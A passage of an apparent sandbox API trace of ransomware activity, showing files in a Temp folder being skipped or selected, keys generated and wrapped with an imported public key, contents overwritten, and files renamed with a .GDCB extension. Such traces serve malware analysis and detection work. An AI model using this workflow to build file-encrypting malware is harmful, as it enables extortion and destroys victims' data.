[0170.820] WriteFile (in: hFile=0x514, lpBuffer=0x2af0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2af0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.820] WriteFile (in: hFile=0x514, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.820] WriteFile (in: hFile=0x514, lpBuffer=0x2b10000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b10000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0170.820] CloseHandle (hObject=0x514) returned 1 [0170.821] VirtualFree (lpAddress=0x2b10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.821] VirtualFree (lpAddress=0x2af0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.821] VirtualFree (lpAddress=0x2b00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.821] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\psXl 1.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\psxl 1.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\psXl 1.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\psxl 1.gif.gdcb")) returned 0 [0170.825] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P_IZ n5ZsYEU.png") returned 261 [0170.825] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P_IZ n5ZsYEU.png") returned 261 [0170.825] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P_IZ n5ZsYEU.png") returned 261 [0170.825] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P_IZ n5ZsYEU.png") returned 261 [0170.825] lstrcmpiW (lpString1="P_IZ n5ZsYEU.png", lpString2="desktop.ini") returned 1 [0170.825] lstrcmpiW (lpString1="P_IZ n5ZsYEU.png", lpString2="autorun.inf") returned 1 [0170.825] lstrcmpiW (lpString1="P_IZ n5ZsYEU.png", lpString2="ntuser.dat") returned 1 [0170.825] lstrcmpiW (lpString1="P_IZ n5ZsYEU.png", lpString2="iconcache.db") returned 1 [0170.825] lstrcmpiW (lpString1="P_IZ n5ZsYEU.png", lpString2="bootsect.bak") returned 1 [0170.825] lstrcmpiW (lpString1="P_IZ n5ZsYEU.png", lpString2="boot.ini") returned 1 [0170.825] lstrcmpiW (lpString1="P_IZ n5ZsYEU.png", lpString2="ntuser.dat.log") returned 1 [0170.825] lstrcmpiW (lpString1="P_IZ n5ZsYEU.png", lpString2="thumbs.db") returned -1 [0170.825] lstrcmpiW (lpString1="P_IZ n5ZsYEU.png", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.825] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P_IZ n5ZsYEU.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p_iz n5zsyeu.png")) returned 0xffffffff [0170.825] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P_IZ n5ZsYEU.png", dwFileAttributes=0xfffffffe) returned 0 [0170.825] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.826] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.826] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.826] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.826] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.826] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0170.827] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.827] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.827] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.827] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0170.827] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.829] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6630) returned 1 [0170.829] CryptGetKeyParam (in: hKey=0x5f6630, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.829] CryptEncrypt (in: hKey=0x5f6630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2af0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2af0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.829] GetLastError () returned 0x0 [0170.829] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.829] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.831] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6a30) returned 1 [0170.831] CryptGetKeyParam (in: hKey=0x5f6a30, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.831] CryptEncrypt (in: hKey=0x5f6a30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2b00000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.831] GetLastError () returned 0x0 [0170.831] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.831] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\P_IZ n5ZsYEU.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\p_iz n5zsyeu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.831] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\u 7QTCnd.flv") returned 257 [0170.831] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\u 7QTCnd.flv") returned 257 [0170.832] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\u 7QTCnd.flv") returned 257 [0170.832] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\u 7QTCnd.flv") returned 257 [0170.832] lstrcmpiW (lpString1="u 7QTCnd.flv", lpString2="desktop.ini") returned 1 [0170.832] lstrcmpiW (lpString1="u 7QTCnd.flv", lpString2="autorun.inf") returned 1 [0170.832] lstrcmpiW (lpString1="u 7QTCnd.flv", lpString2="ntuser.dat") returned 1 [0170.832] lstrcmpiW (lpString1="u 7QTCnd.flv", lpString2="iconcache.db") returned 1 [0170.832] lstrcmpiW (lpString1="u 7QTCnd.flv", lpString2="bootsect.bak") returned 1 [0170.832] lstrcmpiW (lpString1="u 7QTCnd.flv", lpString2="boot.ini") returned 1 [0170.832] lstrcmpiW (lpString1="u 7QTCnd.flv", lpString2="ntuser.dat.log") returned 1 [0170.832] lstrcmpiW (lpString1="u 7QTCnd.flv", lpString2="thumbs.db") returned 1 [0170.832] lstrcmpiW (lpString1="u 7QTCnd.flv", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.832] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\u 7QTCnd.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\u 7qtcnd.flv")) returned 0x20 [0170.832] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\u 7QTCnd.flv", dwFileAttributes=0x20) returned 1 [0170.834] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.835] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.835] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.835] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.835] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.835] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0170.836] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.836] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.836] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.836] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0170.836] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.838] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6670) returned 1 [0170.838] CryptGetKeyParam (in: hKey=0x5f6670, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.838] CryptEncrypt (in: hKey=0x5f6670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b10000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2b10000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.838] GetLastError () returned 0x0 [0170.838] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.838] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.841] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6930) returned 1 [0170.841] CryptGetKeyParam (in: hKey=0x5f6930, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.841] CryptEncrypt (in: hKey=0x5f6930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b20000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2b20000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.841] GetLastError () returned 0x0 [0170.841] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.841] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\u 7QTCnd.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\u 7qtcnd.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0170.843] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b30000 [0170.844] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2b40000 [0170.844] ReadFile (in: hFile=0x514, lpBuffer=0x2b40000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2b40000*, lpNumberOfBytesRead=0x285d3e8*=0xffc8, lpOverlapped=0x0) returned 1 [0170.849] VirtualAlloc (lpAddress=0x0, dwSize=0xffd0, flAllocationType=0x3000, flProtect=0x4) returned 0x2c50000 [0170.850] VirtualAlloc (lpAddress=0x0, dwSize=0xffd0, flAllocationType=0x3000, flProtect=0x4) returned 0x2c60000 [0170.851] VirtualFree (lpAddress=0x2c50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.851] SetFilePointer (in: hFile=0x514, lDistanceToMove=-65480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.851] WriteFile (in: hFile=0x514, lpBuffer=0x2c60000*, nNumberOfBytesToWrite=0xffd0, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2c60000*, lpNumberOfBytesWritten=0x285d3e0*=0xffd0, lpOverlapped=0x0) returned 1 [0170.851] VirtualFree (lpAddress=0x2c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.852] VirtualFree (lpAddress=0x2b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.854] WriteFile (in: hFile=0x514, lpBuffer=0x2b10000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b10000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.855] WriteFile (in: hFile=0x514, lpBuffer=0x2b20000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b20000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.855] WriteFile (in: hFile=0x514, lpBuffer=0x2b30000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b30000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0170.855] CloseHandle (hObject=0x514) returned 1 [0170.856] VirtualFree (lpAddress=0x2b30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.857] VirtualFree (lpAddress=0x2b10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.857] VirtualFree (lpAddress=0x2b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.857] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\u 7QTCnd.flv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\u 7qtcnd.flv"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\u 7QTCnd.flv.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\u 7qtcnd.flv.gdcb")) returned 0 [0170.860] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\UwUP52bZ.gif") returned 257 [0170.860] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\UwUP52bZ.gif") returned 257 [0170.860] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\UwUP52bZ.gif") returned 257 [0170.860] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\UwUP52bZ.gif") returned 257 [0170.860] lstrcmpiW (lpString1="UwUP52bZ.gif", lpString2="desktop.ini") returned 1 [0170.860] lstrcmpiW (lpString1="UwUP52bZ.gif", lpString2="autorun.inf") returned 1 [0170.860] lstrcmpiW (lpString1="UwUP52bZ.gif", lpString2="ntuser.dat") returned 1 [0170.860] lstrcmpiW (lpString1="UwUP52bZ.gif", lpString2="iconcache.db") returned 1 [0170.860] lstrcmpiW (lpString1="UwUP52bZ.gif", lpString2="bootsect.bak") returned 1 [0170.860] lstrcmpiW (lpString1="UwUP52bZ.gif", lpString2="boot.ini") returned 1 [0170.860] lstrcmpiW (lpString1="UwUP52bZ.gif", lpString2="ntuser.dat.log") returned 1 [0170.860] lstrcmpiW (lpString1="UwUP52bZ.gif", lpString2="thumbs.db") returned 1 [0170.860] lstrcmpiW (lpString1="UwUP52bZ.gif", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.860] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\UwUP52bZ.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uwup52bz.gif")) returned 0x20 [0170.861] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\UwUP52bZ.gif", dwFileAttributes=0x20) returned 1 [0170.863] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.864] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.864] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.864] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.864] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.864] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0170.865] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.865] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.865] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.865] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.865] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0170.867] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f67b0) returned 1 [0170.868] CryptGetKeyParam (in: hKey=0x5f67b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.868] CryptEncrypt (in: hKey=0x5f67b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b10000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2b10000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.868] GetLastError () returned 0x0 [0170.868] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0170.868] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.870] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6870) returned 1 [0170.870] CryptGetKeyParam (in: hKey=0x5f6870, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.870] CryptEncrypt (in: hKey=0x5f6870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b20000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2b20000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.871] GetLastError () returned 0x0 [0170.871] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.871] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\UwUP52bZ.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\uwup52bz.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0170.873] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b30000 [0170.874] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2b40000 [0170.874] ReadFile (in: hFile=0x514, lpBuffer=0x2b40000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2b40000*, lpNumberOfBytesRead=0x285d3e8*=0x7857, lpOverlapped=0x0) returned 1 [0170.879] VirtualAlloc (lpAddress=0x0, dwSize=0x7860, flAllocationType=0x3000, flProtect=0x4) returned 0x2c50000 [0170.880] VirtualAlloc (lpAddress=0x0, dwSize=0x7860, flAllocationType=0x3000, flProtect=0x4) returned 0x2c60000 [0170.880] VirtualFree (lpAddress=0x2c50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.880] SetFilePointer (in: hFile=0x514, lDistanceToMove=-30807, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.880] WriteFile (in: hFile=0x514, lpBuffer=0x2c60000*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2c60000*, lpNumberOfBytesWritten=0x285d3e0*=0x7860, lpOverlapped=0x0) returned 1 [0170.881] VirtualFree (lpAddress=0x2c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.881] VirtualFree (lpAddress=0x2b40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.884] WriteFile (in: hFile=0x514, lpBuffer=0x2b10000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b10000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.884] WriteFile (in: hFile=0x514, lpBuffer=0x2b20000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b20000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.884] WriteFile (in: hFile=0x514, lpBuffer=0x2b30000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b30000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0170.884] CloseHandle (hObject=0x514) returned 1 [0170.885] VirtualFree (lpAddress=0x2b30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.886] VirtualFree (lpAddress=0x2b10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.886] VirtualFree (lpAddress=0x2b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.887] MoveFileW 